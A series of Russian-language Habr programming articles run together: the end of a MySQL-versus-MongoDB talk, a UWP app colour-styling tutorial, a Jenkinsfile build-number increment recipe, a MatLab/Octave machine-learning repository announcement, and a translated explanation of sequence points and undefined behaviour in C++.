Обычно с точки зрения e-commerce объем данных у нас не такой большой, так что даже достаточно большие магазины могут долго работать без шардинга. Приложения у нас постоянно разрабатываются и усовершенствуется на протяжении многих лет. И у этого приложения много компонент, которые работают с одними и теми же данными: кто-то рассчитывает, где цены поменять, кто-то ещё что-то делает.
MongoDB часто задействуется как бэкенд больших онлайн-игр. Electronic Arts для очень многих игр использует MongoDB. Почему? Потому что масштабируемость важна. Если какая-то игра хорошо выстрелит, её приходится масштабировать значительно больше, чем предполагалось.
С другой стороны, если не выстрелит, нам хотелось бы, чтобы инфраструктуру можно было бы уменьшить. Во многих играх это идет так: мы запустили игру, у нее есть какой-то пик, приходится делать большой кластер. Потом игра уже выходит из популярности, для неё бэкенд нужно сжимать, сохранять и использовать. В данном случае есть одно приложение (игра), база данных, с одной стороны, несложная, с другой — сильно привязанная к приложению, в котором хранятся все важные для игры параметры.
Часто консистентность базы данных на уровне объектов здесь достаточна, потому что многие вопросы консистентости решаются на уровне приложения. Например, данные одного игрока сохраняет только один application service.
Дополнительная информация
=========================
Всем рекомендую это старое, древнее, но очень смешное видео <http://www.mongodb-is-web-scale.com/> [[YouTube](https://www.youtube.com/watch?v=b2F-DItXtZs)]. На этом мы закончим.
*[MySQL и MongoDB — когда что лучше использовать?](http://www.highload.ru/2016/abstracts/2292.html)* | https://habr.com/ru/post/322532/ | null | ru | null |
# Стиль сына маминой подруги
Привет, Хабр! Мы продолжаем нашу экспериментальную серию статей, наблюдая за которой вы можете в реальном времени влиять на ход создания игры на UWP. В этой части расскажем о стиле приложения и покажем, что делать красиво не так уж и сложно. Не забывайте оставлять комментарии!
* [**Часть 1: С чего стоит начать**](https://habrahabr.ru/company/microsoft/blog/349402/)
* **[Часть 2: Расширенный экран-заставка](https://habr.com/company/microsoft/blog/351972/)**
* **[Часть 3: Стиль сына маминой подруги](https://habr.com/company/microsoft/blog/354426/)**
* **[Часть 4: Получение данных пользователя (добровольное)](https://habr.com/company/microsoft/blog/358426/)**
* **[Часть 5: А где вы храните данные?](https://habr.com/company/microsoft/blog/414261/)**
*Передаю слово автору, [Алексею Плотникову](https://habrahabr.ru/users/lxgdark/).*
Изначально в данной статье я планировал рассказать о стилизации заголовка окна и строки состояния, однако о заголовке мы в блоге Microsoft уже [говорили](https://habrahabr.ru/company/microsoft/blog/310326/) и дублировать эту информацию не имеет никакого смысла, как и не имеет смысла затрагивать тему стилизации приложения в столь узком аспекте.
Что значит стилизация с точки зрения разработчика и являлись ли, например, стандартные программы Windows 2000 стильными? Безусловно являлись, если рассматривать термин «стилизация» исключительно в цифровом поле. Все элементы управления в системе имели одинаковый цвет и рельеф, а реакция на нажатие или наведение была привычной и ожидаемой вне зависимости от программы или отдельного окна в ней. И я не зря привел пример Windows 2000, так как за ней вышла Windows XP (Windows ME не в счет), которая принесла с собой существенные изменения в стиле элементов управления. Закругления, яркие цвета и более живая реакция на действия пользователя – все это появилось вместе с новой Windows, а каждая последующая версия продолжила эту традицию и ее внешний вид становился прямым продолжением актуальных тенденций в цифровом мире.
Выходит, что стиль в контексте разработки ПО – это то как выглядят наши элементы управления и программа в целом? Нет, потому что стиль – это, в первую очередь, согласованность внешнего вида внутри одной экосистемы и до недавнего времени такой экосистемой было принято считать всю ОС.
Изменения начались с приходом мобильных устройств, которые изменили философию взаимодействия с программой. Все больше пользователь стал воспринимать программу не как часть ОС, а как самостоятельную экосистему со своими внутренними правилами и особенности. Проще всего это понять, просматривая сайты в интернете. Пройдите по всем своим вкладкам в браузере, и вы увидите совершенно разные, не похожие друг на друга стили, но при этом, чаще всего, согласованные внутри одного сайта. Именно мобильные устройства стали стирать грань между правилами применимыми к сайтам, когда пользователь концентрируется на контенте и правилами мира ПО, где программа воспринималась, как часть ОС.
Впервые данную философию попыталась реализовать в Windows 8, когда, в определенном смысле, сама ОС была похожа на браузер, в котором мы запускали приложения словно сайты и вся концентрация была на их содержимом в отрыве от остальной ОС. Однако массовый пользователь таких изменений не понял, так как основной платформой Windows по-прежнему оставались персональные компьютеры. Когда же изменения, внесенные в Windows 8.1 тоже не помогли, на свет появилась Widows 10, где есть классические программы, все еще воспринимаемые как часть всей ОС и универсальные приложения, что в большинстве своем концентрируют внимание пользователя на себе.
Все эти рассуждения и экскурс в историю направлен на понимание единственного важного момента – ваше приложение UWP не столько часть операционной системы, сколько самостоятельный мир в который погружается пользователь. Точнее именно таким оно должно стремится стать.
«А что не так со стандартными элементами управления?» — спросите вы, ведь они имеют согласованный стиль как внутри приложения, так и во всей ОС в целом. А с ними все в полном порядке, при условии, что вы не против, чтобы ваше приложение превратилось для пользователя в одно из многих, что ничем ему не запомнится.
Несмотря на все вышесказанное крайне важно понимать, что без качественного функционала или контента, никакой собственный стиль не поможет вашему приложению добиться расположения пользователя и в то же время при наличии качественного наполнения, ваш стиль должен дополнять, а не извращать его восприятие.
Джентельменский набор красивого приложения
------------------------------------------
По мере разработки приложений я вывел для себя минимум, необходимый для достижения ощущения индивидуальности и погружения пользователя в мир приложения, но сразу оговорюсь, что хоть в данном цикле речь и идет об игре, концептуально я разрабатываю не игру, а приложение с наличием игровых механик и значит его дизайн и стиль не должны восприниматься как применимые только играм.
На рисунке выше показан пример настроек одного из моих UWP приложений «[Шар напоминалка](https://www.microsoft.com/en-gb/store/p/magical-remembrall/9nblggh0d9k7?rtc=1#)». Первая версия данного приложения была выпущена на Windows Phone 8.1 и с точки зрения основного функционала практически не отличалась от текущей UWP версии за исключением отсутствия уникального стиля. Важность наличия стилизации стала понятна благодаря мониторингу отзывов и оценок приложения, так как версия для UWP имеет оценку выше в среднем на 0,7 балла, а среди отзывов регулярно встречаются фразы «красиво» или «стильно».
Разберем какие именно минимальные элементы стиля я задаю в приложении:
1. Стандартный цвет фона (он же StandartBackgroundBrush). На примере с выбором стиля он показан заливкой квадрата.
2. Светлый цвет фона (он же LightBackgroundBrush). Этим цветом закрашена панель, в которой расположены квадраты с наборами.
3. Темный цвет фона (он же DarkBackgroundBrush). Он задает цвет рамки, что обрамляет квадрат, показывая текущий выбор.
4. Цвет переднего плана (он же ForegroundBrush). Этим цветом залиты звездочки внутри квадратов, и он же используется как цвет текста.
Комбинации из этих четырех цветов более чем достаточно, чтобы изменить стиль всего приложения. Например, стандартная кнопка имеет цвет для фона в спокойном состоянии, второй для фона при наведении и отдельный для индикации нажатия. Четвертый же цвет определяет каким будет текст внутри кнопки.
Обращаю внимание, что в статьях, посвященных стилизации и дизайну я не рассматриваю новый стиль оформления приложений Fluent Design, так как он появился сравнительно недавно и все еще развивается. К тому же концепция Fluent Design куда шире, чем просто задание особого стиля для базовых элементов и требует глубокого погружения в его философию, что со мной пока еще не случилось. Я однозначно буду рассматривать Fluent Design позже, но только как альтернативную версию стиля для своих приложений.
Перейдем к практике. Для начала определимся с местом хранения цветов приложения. Так как перечисленные цвета должны быть доступны практически из любой точки приложения, сохранять их лучше всего в глобальном файле ресурсов. Таким файлом в моих приложениях является файл ApplicationStyle о котором я писал в конце [первой](https://habrahabr.ru/company/microsoft/blog/349402/) статьи цикла.
Хранится цвета будут в виде ресурсов SolidColorBrush.
Ресурсы в UWP это экземпляры объекта с заранее заданными свойствами и текстовым ключом по которому можно к ним обращаться.
Вот пример ресурсов, которые я использую в приложении:
```
```
Имена ключей обозначают роль цвета в интерфейсе, а логику их применения я описал в примере выше и, хотя вы вольны использовать другие имена, старайтесь подбирать их так, чтобы в любое время и в любом месте программы вы быстро сориентировались какой ресурс вам нужен.
Далее можно обращаться к этому ресурсу как из XAML, так и из кода приложения.
В первом случае разметка выглядит так:
```
Background="{StaticResource StandartBackgroundBrush}"
```
А во втором так:
```
.Background = Application.Current.Resources.Item("StandartBackgroundBrush")
```
Именно второй вариант поможет при установке цветов заголовка окна, с упоминания которого я начал повествование. В «разделе 3» статьи о стилизации заголовка я привел пример кода для окрашивания заголовка в требуемые цвета. Для удобства работы с данным кодом, я объединяю его в процедуру под названием SetTitleBar, которую размещаю в основном классе приложения (при использовании MVVM это ViewModel).
```
Public Sub SetTitleBar()
Dim tb As ApplicationViewTitleBar = ApplicationView.GetForCurrentView.TitleBar
Dim lb As SolidColorBrush = Application.Current.Resources.Item("LightBackgroundBrush")
Dim sb As SolidColorBrush = Application.Current.Resources.Item("StandartBackgroundBrush")
Dim db As SolidColorBrush = Application.Current.Resources.Item("DarkBackgroundBrush")
Dim fb As SolidColorBrush = Application.Current.Resources.Item("ForegroundBrush")
tb.BackgroundColor = sb.Color
tb.ButtonForegroundColor = fb.Color
'...
End Sub
```
Заметьте, что свойства заголовка принимают объекты типа Color, а наши ресурсы имеют тип SolidColorBrush, поэтому сначала мы создаем локальные объекты для каждого цвета, а затем обращаемся к их свойствам Color.
Вызывать эту процедуру стоит как можно раньше, поэтому я делаю это в конце инициализации [расширенного экрана-заставки](https://habrahabr.ru/company/microsoft/blog/351972/) (процедура New) и там же устанавливается цвет для строки состояния на мобильных устройствах.
```
If Metadata.ApiInformation.IsTypePresent("Windows.UI.ViewManagement.StatusBar") Then
StatusBar.GetForCurrentView.BackgroundOpacity = 1
Dim db As SolidColorBrush = Application.Current.Resources.Item("DarkBackgroundBrush")
StatusBar.GetForCurrentView.BackgroundColor = db.Color statusBarRect = StatusBar.GetForCurrentView.OccludedRect
End If
```
Этот код частично вам знаком, так как мы использовали его для получения высоты строки состояния с целью правильного позиционирования изображения на экране заставке, но теперь он дополнен тремя строками для установки цвета. Первая сообщает, что строка состояния не должна быть прозрачной, а вторая и третья по уже знакомой методике устанавливает для нее цвет.
Итак, с технической частью разобрались, а как быть с творческой? Не многие из вас являются частью команды, где есть дизайнер и, уж тем более не все сами обладают творческими талантами. Я также к таковым не отношусь, зато я знаю, что «Не боги горшки обжигают» и нет ничего постыдного в достижении результата экспериментальным путем.
Именно так и родилась цветовая схема по умолчанию в упомянутом приложении «Шар напоминалка». Сначала я выбрал подходящую фоновую картинку, а затем на ее основе наиболее контрастный цвет для фона (StandartBackgroundBrush). После в графическом редакторе уже на основе этого цвета выбрал более светлый (LightBackgroundBrush) и более темный (DarkBackgroundBrush), а в конце самый светлый для переднего плана (ForegroundBrush). Далее последовал длительный процесс переписывания стилей основных элементов управления и по мере этой работы, выбранные цвета претерпевали изменения для лучшего восприятия.
Однако ближе к концу разработки выбранная цветовая схема начала мне изрядно надоедать и, хоть я и понимал, что эффект исключительно психологический, это сподвигло меня добавить в приложение еще несколько цветовых схем и возможность их выбора. И вот в процессе написания этой статьи меня вдруг осенило, ведь добавлять новые цветовые схемы в уже готовое приложение куда проще, так как можно сразу видеть изменение всего интерфейса. Но как быть читателям, что вероятно только начали разработку своего приложения и испытывают трудности в представлении итогового результата? Да мне и самому в процессе разработки новых приложений хотелось бы заранее понимать какие цвета выбрать и как все это будет выглядеть в итоге.
Недолго думая, я решил написать небольшое приложение «ColorSelector» для быстрого создания цветовых схем приложения. Так как на его создание ушло всего пара дней, оно имеет самый базовый набор функций и, несомненно, в будущем будет расширятся и развиваться с точки зрения функционала. Подключайтесь к этому процессу на [GitHub](https://github.com/lxgdark/ColorSelector).
Важно отметить отличия подхода в коде ColorSelector от того, что я описываю в данной статье. Подход в статье предполагает наличие одной цветовой схемы в вашем приложении, а ColorSelector создан с учетом возможности выбора схем. Если исходников ColorSelector вам недостаточно для реализации настраиваемых схем в вашем приложении, то пишите в комментариях, и в отдельной статье я расскажу о том, как модифицировать решения, описанные выше.
Дальнейшие действия
-------------------
Если рассматривать данную статью, как продолжение предыдущей, то на данный момент мы создали расширенный экран-заставку и задействовали в нем два цвета из цветовой схемы приложения: LightBackgroundBrush для фона окна (в статье про экран-заставку просто BackgroundBrush) и ForegroundBrush для текста. По итогам данной статьи, используя уже весь набор цветов, был стилизован заголовок окна и строка состояния.
Следующим шагом будет разработка интерфейса основного окна, а в нем уже появятся самые разные элементы управление, для стилизации которых недостаточно просто присвоить ресурсы для каких-либо свойств. Изменения, что нам нужно будет внести, потребуют переписывания шаблонов элементов управления, а эта тема обширна и касается не только стилизации приложения, поэтому ее я буду рассматривать в отдельной статье (а возможно и не в одной).
Благо такие элементы как панели и контейнеры не требуют глубокого вмешательства в их структуру, поэтому к ним сразу же можно применять цвета из набора, для достижения согласованного внешнего вида. Так же в статье «[Съесть три «пончика» из UWP и не подавиться](https://habrahabr.ru/company/microsoft/blog/345746/)» я рассказывал о том, как легко перекрасить иконки приложения, созданные на основе PNG файлов, которые мы без труда можем стилизовать одним из цветов набора (по логике это ForegroundBrush).
Заключение
----------
В заключении хотел бы разъяснить на кого ориентирован описанный в данной статье подход. Если в вашей команде есть опытный дизайнер или вы сами обладаете достаточным опытом, то не мне вас учить как сделать внешне привлекательное приложение. Однако магазин Windows переполнен приложениями с качественным контентом или функционалом, но с абсолютно невзрачным внешним видом. Это связано с тем, что многие разработчики считают вопрос стилизации слишком сложным или долгим в изучении, в результате чего не готовы тратить на это время. Я же предлагаю достигнуть хорошего результата, при минимальном наборе усилий. После двух статей вы уже имеете качественный внешний вид на старте, а еще после двух-трех, что планируются и вовсе сможете стилизовать все приложение.
Следите за данным циклом и обязательно принимайте участие посредством ваших отзывов и пожеланий в комментариях. До новых встреч! | https://habr.com/ru/post/354426/ | null | ru | null |
# Автоинкремент версий в pom.xml через Jenkinsfile
Рано или поздно все разработчики Java решают мелкие задачи в области Continuos Integration. Не обошла эта участь и меня. Озадачился я проблемой автоматического инкремента версий в pom.xml при каждой итерации сборки проекта.
Дано: maven проект с несколькими модулями, мастер pom.xml и Jenkins-сервер (все как у настоящих пацанов).
Нужно: чтобы при каждом коммите автоматически собирался проект в любом бранче, а в ветке develop проект не только собирался, но и инкрементился номер билда, который задан третьим числом в версии вида 1.0.100-SNAPSHOT.
Для автоматической сборки Java-проекта в бранчах у нас используется Jenkins-проект на основе модного нынче Multibranch pipeline.
Суть этого workflow — периодически (например, раз в минуту), в Multibranch pipeline запускается задача, которая определяет изменения в бранчах и запускает сборку для тех бранчей, в которых что-то закоммитили. При этом, как у настоящих пацанов, для сборки бранча используется самый настоящий Jenkinsfile. Немного ликбеза: Jenkinsfile — это код на языке Groovy который определяет последовательность и инструкции по сборке проекта. Даже придумали для этого специальный термин [«pipeline as code»](https://jenkins.io/doc/book/pipeline-as-code/). Казалось, ничего вроде бы сложного нет — через groovy-скрипт инкрементим номер версии, коммитим и запускаем maven-сборку. Но тут нарисовывается главная проблема — как предотвратить последующие (бесконечные) сборки после того, как мы автоматом обновили pom.xml? Да, в Jenkins-плагине под названием 'git' (тот самый, который предназначен для детекта изменений в бранчах) есть даже специальная фича — «Polling ignores commits», но вот незадача — она не работает в Multibranch-pipeline. По этому поводу жаловались многие пользователи и даже завели [специальный Jira-айтем](https://issues.jenkins-ci.org/browse/JENKINS-36836). **Поэтому — вперед, будем изобретать свой велосипед!**
Но к счастью, в git-плагине работает другая фича «Exclude branches». Поэтому заведем специальный бранч, куда будем коммитить только номера билдов при каждой сборке и добавим название этого бранча в исключения (чтобы новые коммиты не вызывали триггеринг новых сборок). Фактически, этот бранч нужен только для того, чтобы хранить одно число, которое указывает на номер билда. Такой бранч не имеет предков и называется «сирота». Для его создания сделаем следующее:
```
git checkout --orphan develop2
git reset --hard
```
И разместим в нем файл с именем current.tag, в который запишем номер билда. Ну а далее все за вас сделает Jenkinsfile, исходный текст которого найдете в [репозитории на гитхабе](https://github.com/get-a-clue/maventemplate.git).
Не буду больше утомлять вас кодом, вкратце, алгоритм Jenkinsfile такой:
1. Склонировали проект
2. Переключились на сиротливый бранч
3. Прочитали номер последнего билда
4. Увеличили номер билда
5. Прикопали номер билда в переменной и записали его в файл в сиротливой бранч
6. Переключились в основной бранч
7. Распарсили номер версии из pom.xml
8. Сгенерировали номер версии на основе версии из pom.xml и номером билда
9. Проапдейтили версию в мастер pom.xml и всех его модулях при помощи соответствующего maven-плагина
10. Собрали проект при помощи mvn package
В итоге получаем такую красоту:
 | https://habr.com/ru/post/316364/ | null | ru | null |
# Машинное обучение в MatLab/Octave: примеры алгоритмов, подкрепленные формулами
Недавно я начал изучать machine learning. Начал с прекрасного, на мой взгляд, [курса](https://www.coursera.org/learn/machine-learning) от Andrew Ng. И чтобы не забыть, а так же повторить выученное решил создать репозиторий [Machine Learning in Octave](https://github.com/trekhleb/machine-learning-octave). В нем я собрал математические формулы для гипотез, градиентных спусков, "cost function"-ов, сигмоидов и прочих фундаментальных для машинного обучения "штук". Так же добавил туда упрощенные и доработанные примеры реализации некоторых популярных алгоритмов (нейронная сеть, линейная/логистическая регрессия и пр.) для MatLab/Octave. Надеюсь эта информация будет полезна для тех из вас, кто планирует начать изучение machine learning-а.
Тема машинного обучения достаточно обширная, о чем можно судить, например, из следующей схемы, которую я взял (перевел) из [великолепной статьи](https://vas3k.ru/blog/machine_learning/) vas3k-а.
На данный момент из всего этого разнообразия в репозитории есть примеры пяти supervised и unsupervised алгоритмов:
* [Линейная регрессия](https://github.com/trekhleb/machine-learning-octave/blob/master/linear-regression) с примером прогнозирования стоимости дома.
* [Логистическая регрессия](https://github.com/trekhleb/machine-learning-octave/blob/master/logistic-regression) с примерами определения неисправных чипов, а так же распознавания рукописных цифр с применением принципа "один против всех".
* [Алгоритм K-means](https://github.com/trekhleb/machine-learning-octave/blob/master/k-means) с примером распределения данных на три кластера.
* [Поиск аномалий с помощью распределения Гаусса](https://github.com/trekhleb/machine-learning-octave/blob/master/anomaly-detection) с примером определения перегруженного сервера.
* [Нейронная сеть на основании многослойного "персептрона"](https://github.com/trekhleb/machine-learning-octave/blob/master/neural-network) с примером распознавания рукописных цифр.
Для каждого алгоритма есть файл `demo.m`, с которого можно начать анализ отдельно взятого алгоритма. При запуске этого файла из консоли Octave (или из MatLab-а) будет выведена служебная информация, иллюстрирующая работу алгоритма, а так же будут построены графики, помогающие разобраться с каким тренировочным сетом идет работа.
Надеюсь этот репозиторий будет для вас полезным и поможет сделать очередной шаг в сторону машинного обучения.
*P.S. Примеры в репозитории созданы для [MatLab](https://www.mathworks.com/)/[Octave](https://www.gnu.org/software/octave/). Это, возможно, не такая популярная опция сейчас, как Python, но все-же для обучения, быстрого прототипирования и того же перемножения матриц без дополнительных плагинов и библиотек может неплохо подойти. Еще раз успешного вам кодинга!* | https://habr.com/ru/post/428417/ | null | ru | null |
# Неопределенное поведение в C++
Достаточно сложной темой для программистов на С++ является undefined behavior. Даже опытные разработчики зачастую не могут четко сформулировать причины его возникновения. Статья призвана внести чуть больше ясности в этот вопрос.
Статья является ПЕРЕВОДОМ нескольких статей и выдержек из Стандарта по данной теме.
##### Что такое «точки следования»?
Стандарте сказано:
> Точки следования (sequence points)– такие точки в процессе выполнения программы, в которых все побочные эффекты уже выполненного кода закончили свое действие, а побочные эффекты кода, подлежащего исполнению, еще не начали действовать. (§1.9/7)
##### Побочные эффекты? А что такое «побочные эффекты»?
> Побочный эффект (side effect) (согласно Стандарту) – результат доступа к volatile объекту, изменения объекта, вызова функции из библиотеки I/O или же вызова функции, включающей в себя какие-то из этих действий. Побочный эффект является изменением состояния среды выполнения.
Вычисление некоторого выражения дает на выходе какой-то результат. Если же в дополнение к результату вычисление выражения вызывает изменения в среде выполнения, то говорят, что данное выражение имеет побочные эффекты.
Например:
```
int x = y++; // «y» тоже int
```
В дополнение к операции инициализации переменной «x» значение переменной «y» изменилось из-за побочного эффекта оператора ++.
Что ж, с этим понятно. Далее к точкам следования. Альтернативное определение понятия «точка следования» дано Стивом Саммитом (автор книг «Язык C в вопросах и ответах», блога «comp.lang.c»):
Точка следования – момент времени, когда «пыль улеглась», и все встреченные побочные эффекты гарантированно завершены и остались позади.
##### Какие точки следования описаны в Стандарте C++?
В стандарте описаны следующие точки следования:
* в конце вычисления полного выражения (§1.9/16). Под «полным выражением» (full-expression) подразумевается выражение, не являющееся подвыражением (subexpression) — частью другого выражения (прим: вычисление полного выражения может включать в себя вычисление подвыражения, лексически не являющегося его частью. Например, подвыражения, участвующие в вычислении аргумента по умолчанию, считаются частью выражения, которое вызвало функцию, а не выражения, определяющего этот аргумент).
Например:
```
int a = 5; // «;» - точка следования в данном контексте
```
* в вычислении следующих выражений, а именно после вычисления первого операнда:
1. a && b (§5.14)
2. a || b (§5.15)
3. a? b: c (§5.16)
4. a, b (§5.18)
Вычисление этих выражений идет слева направо. После вычисления левого подвыражения все побочные эффекты этого вычисления прекращают действие. Если после вычисления левого подвыражения значение полного выражения известно, то правая часть не вычисляется. В последнем случае имеется в виду оператор запятая. В функции func(a, a++) запятая – не оператор, а просто разделитель между аргументами.
* при вызове функции (неважно, является функция встроенной или нет) после вычисления всех ее аргументов (если таковые имеются) и перед выполнением каких-либо инструкций в ее теле.
##### Что такое «неопределенное поведение»?
Стандарт дает определение словосочетанию «неопределенное поведение» в §1.3.12:
> Неопределенное поведение (undefined behavior)– поведение, которое может возникать в результате использования ошибочных программных конструкций или некорректных данных, на которые Международный Стандарт не налагает никаких требований. Неопределенное поведение также может возникать в ситуациях, не описанных в Стандарте явно.
Иными словами, неопределенное поведение означает что угодно, что может произойти, начиная от козявки, выпавшей из носа, заканчивая беременностью вашей девушки.
##### Какая связь между неопределенным поведением и точками следования?
Перед тем, как узнать ответ на этот вопрос, вы должны понять, в чем различия между неопределенным поведением, неуточняемым поведением и поведением, определяемым реализацией.
> Неуточняемое поведение (unspecified behavior) (согласно Стандарту) – поведение, для которого Стандарт предлагает два или более возможных вариантов и не налагает четких требований на то, какой из них должен быть выбран в определенной ситуации.
Неуточняемое поведение возникает в результате вычисления таких подвыражений, как:
* аргументы в вызове функции
* операнды операторов (напр. +, -, =, \*, /), за исключением:
1. операторов бинарной логики (&& и ||)
2. оператора условия (?:)
3. оператора запятой.
(прим.: за исключением именно тех операторов, которые содержат точку следования)
> Поведение, определяемое реализацией (implementation-defined behavior) (согласно Стандарту) – поведение правильно сформированной программной конструкции с правильными данными, которое зависит от реализации (должно быть документировано для каждой реализации).
Пример такого поведения – размер указателя. В соответствии со Стандартом, размер указателя зависит от конкретной реализации компилятора. В рамках одной конкретной реализации размер указателей различных типов также может быть различным.
Также хочу отметить, что порядок вычисления операндов конкретного оператора, подвыражений конкретного выражения, и порядок возникновения побочных эффектов не уточнены.
Например:
```
int x = 5, y = 6;
int z = x++ + y++; // не уточнено, будет вычислен первым x++ или y++
```
Еще один пример:
```
int Hello()
{
return printf("Hello");
}
int World()
{
return printf("World !");
}
int main()
{
int a = Hello() + World(); /**может вывести «Hello World!» или «World! Hello»
^
|
Функции могут быть вызваны в любом порядке **/
return 0;
}
```
В §5/4 Стандарт говорит:
> Между двумя точками следования скалярный объект должен менять хранимое значение при вычислении выражения не более одного раза.
Что это значит?
Говоря чуть проще, переменную между двумя точками следования нельзя менять больше одного раза. В выражении следующая точка следования обычно располагается на заключающей точке с запятой, а предыдущая – в конце предшествующего оператора. Выражение так же может содержать промежуточные точки следования.
Исходя из вышесказанного, следующие выражения создают неопределенное поведение:
```
i++ * ++i; //
i = ++i; //
++i = 2; // i изменено более 1 раза
i = ++i +1 //
i = (i,++i,++i); // нет точки следования между правым `++i` и присвоением `i` (`i` изменяется более 1 раза между 2мя точками следования)
```
Но в то же время:
```
i = (i, ++i, 1) + 1; // определено
i = (++i,i++,i) // определено
int j = i;
j = (++i, i++, j*i); // определено
```
Кроме того (по Стандарту) – старое значение выражения (до вычисления) должно быть доступно только для определения хранимого значения.
Это значит, что некорректными являются те выражения, в которых доступ к значению может предшествовать его модификации.
Например:
```
std::printf("%d %d", i,++i); // неизвестно, что произойдет раньше – вычисление (++i) или доступ к нему.
```
Еще один пример:
```
a[i] = i++ ; // либо a[++i] = i , либо a[i++] = ++i и т.д.
```
##### Я слышал, что в C++0x нет никаких Точек Следования, это правда?
Да, это правда.
Понятие «точка следования» было заменено комитетом ISO C++ на уточненное и дополненное понятие Отношения Следования [ДО\ПОСЛЕ].
Что такое Отношение Следования[ДО]?
> Следование ДО (Sequenced Before) это отношение, которое:
>
> * ассиметрично
> * транзитивно
> * возникает между парами вычислений и формирующее из них частично упорядоченное множество (partially ordered set)
>
Формально, это означает, что при двух данных выражениях А и B, если А [следует ДО] B, то выполнение А должно предшествовать выполнению В. Если же А не [следует ДО] В, тогда выполнение А и В является неупорядоченным (unsequenced) (выполнение неупорядоченных вычислений может пересекаться).
Вычисление A и В являются неопределенно упорядоченным (indeterminantly sequenced), когда либо А [следует ДО] В, либо В [следует ДО] А, но что именно – не уточнено. Неопределенно упорядоченные вычисления не могут пересекаться, но любое из них может выполнятся первым.
##### Что означает слово «вычисление» в контексте C++0x ?
В С++0x вычисление (evaluation) выражения (или подвыражения) в общем случае включает в себя:
* подсчет (computation) значения (включая определение положения объекта в памяти для вычисления значения gvalue-выражения и получение значения по ссылке для вычисления prvalue-выражения)
* инициирование побочных эффектов
Стандарт говорит нам (§1.9/14):
> Каждый подсчет значения и побочный эффект, связанные с полным выражением, [следуют ДО] подсчета значения и побочного эффекта, связанных со следующим полным выражением, которое будет вычислено.
Тривиальный пример:
```
int x; x = 10; ++x;
```
В данном примере подсчет значения и побочный эффект, связанный с выражением (++x), [следует ПОСЛЕ] подсчета значения и побочного эффекта (x=10).
##### Ведь между вещами, описанными выше, и неопределенным поведением должна быть какая-то связь, да?
Конечно, связь есть.
В §1.9/15 упоминается, что:
> Вычисление операндов конкретного оператора или подвыражений конкретного выражения неупорядоченно, помимо случаев, которые были описаны ранее.
Примечание: неупорядоченные и неопределенно упорядоченные подвыражения полного выражения, которое вычисляется более одного раза в процессе выполнения программы, не обязательно вычисляются каждый раз в одном и том же порядке.
Например:
```
int main()
{
int num = 19 ;
num = (num << 3) + (num >> 3) ;
}
```
1) Вычисление операндов оператора «+» неупорядоченно.
2) Вычисление операндов операторов «<<» и «>>» неупорядоченно.
> §1.9/15 подсчет значения операндов конкретного оператора [следует ДО] подсчета значения результата работы оператора.
Это означает, что в выражении x + y подсчет значений «х» и «у» [следует ДО] подсчета x+y.
Теперь к более важному:
> §1.9/15 Если возникновение побочного эффекта скалярного объекта неупорядоченно по отношению к одному из следующий событий:
>
> * возникновению другого побочного эффекта этого же объекта
> * подсчету значения с использованием значения этого объект
>
>
>
> то поведение программы будет НЕОПРЕДЕЛЕННЫМ.
Пример:
```
f(i = -1, i = -1);
```
Поясним это выражение. На первый взгляд, неупорядоченность вычисления аргументов функции не повлечет за собой неоднозначности. Однако нет точной вероятности, что компилятор, оптимизируя подобное выражение, не создаст набор инструкций, аналогичный по действию (по его мнению), который даст сбой при операции над одной и той же памятью.
Предположим, что компилятор решил, что оптимальнее всего присвоить "-1" будет обнулив переменную и сделав ее декремент.
Инструкции могут сформироваться так (команды условны):
```
clear i
decr i
clear i
decr i
```
А могут так:
```
clear i
clear i
decr i
decr i
```
после чего в i будет хранится значение -2.
При вызове функции каждый подсчет значения и побочный эффект, связанный с выражением аргумента этой функции, или с выражением, вызывающим функцию, [следует ДО] выполнения любого выражения или оператора в теле вызываемой функции.
Подсчет значения и побочные эффекты, связанные с разными аргументами, неупорядоченны.
##### Поток выполнения программы
Оперируя терминами, расшифрованными ранее, поток выполнения программы можно представить графически. В следующих далее диаграммах обозначим вычисление выражения (или подвыражения) как E(x), точку следования — %, побочный эффект «k» для объекта «e» обозначим S(k,e). Если для вычисления необходимо считать значение из именованного объекта (пусть «x» — имя), вычисление будем обозначать V(x), в остальных случаях – так же, как договаривались ранее, E(x). Побочные эффекты запишем справа и слева от выражений. Граница между двумя выражениями обозначает, что верхнее выражение вычисляется до нижнего выражения (зачастую потому что нижнее выражение зависит от prvalue или lvalue верхнего выражения).
Для двух выражений i++; i++; диаграмма будет иметь вид:
```
E(i++) -> { S(increment, i) }
|
%
|
E(i++) -> { S(increment, i) }
|
%
```
Как видите, в данном случае мы имеем две точки следования, одна из которых разделяет два изменения «i».
Вызовы функций также представляют интерес, несмотря на то, что диаграмму для них мы опустим:
```
int c = 0;
int d = 0;
void f(int a, int b) { assert((a == c - 1) && (b == d - 1)); }
int main() { f(c++, d++); }
```
Этот код корректный, потому что к тому времени, как начнет выполняться тело функции f, все побочные эффекты, порожденные вычислением аргументов, гарантированно закончатся: «с» и «d» будут увеличены на 1.
Теперь рассмотрим выражение i++ \* j++;
```
{ S(increment, i) } <- E(i++) E(j++) -> { S(increment, j) }
\ /
+--+--+
|
E(i++ * j++)
|
%
```
Откуда же появилось две ветки? Напомним, что точки следования завершают вычисления, проводившиеся ДО их наступления. Все подвыражения умножения вычисляются до самого умножения, больше в этом выражении нет точки следования, следовательно, нам нужно принять во внимание теоретическую «параллельность» вычисления операндов, чтобы предположить, где может произойти конкурентное изменение одного и того же объекта. Говоря более формально, эти две ветви неупорядочены. Точки следования – это отношение, которое упорядочивает некоторые вычисления и не упорядочивает другие. Т.о. точки следования, как и говорилось выше, являются частичным упорядочиванием (partial order).
##### Конфликтующие побочные эффекты.
Чтобы обеспечить компилятору свободу в генерации и оптимизации машинного кода, в случаях, подобных рассмотренному выше умножению, не устанавливается порядок вычисления подвыражений и не разделяются побочные эффекты, порожденные ими (за исключением описанных ранее случаев).
Это может вести к конфликтам, поэтому Стандарт называет неопределенным поведение программы, если она пытается модифицировать один и тот же объект без участия точек следования. Это относится к скалярным объектам, потому что остальные объекты являются либо неизменяемыми (array) или попросту не подпадают под это правило (class objects). Неопределенное поведение также возникает, если в выражении присутствуют обращение к предыдущему значению объекта и его модификация, как например в i \* i++
```
// Ведет к неопределенному поведению!
// Не факт, что из левого 'i' будет считано «новое» значение:
V(i) E(i++) -> { S(increment, i) })
\ /
+---+---+
|
E(i * i++)
|
%
```
В качестве исключения позволено считывать значение объекта, если оно необходимо для подсчета нового значения. Пример контекста: i = i+1
```
V(i) E(1)
\ /
+---+---+
|
E(i) E(i + 1)
\ /
+-------+-------+
|
E(i = i + 1) -> { S(assign, i) }
|
%
```
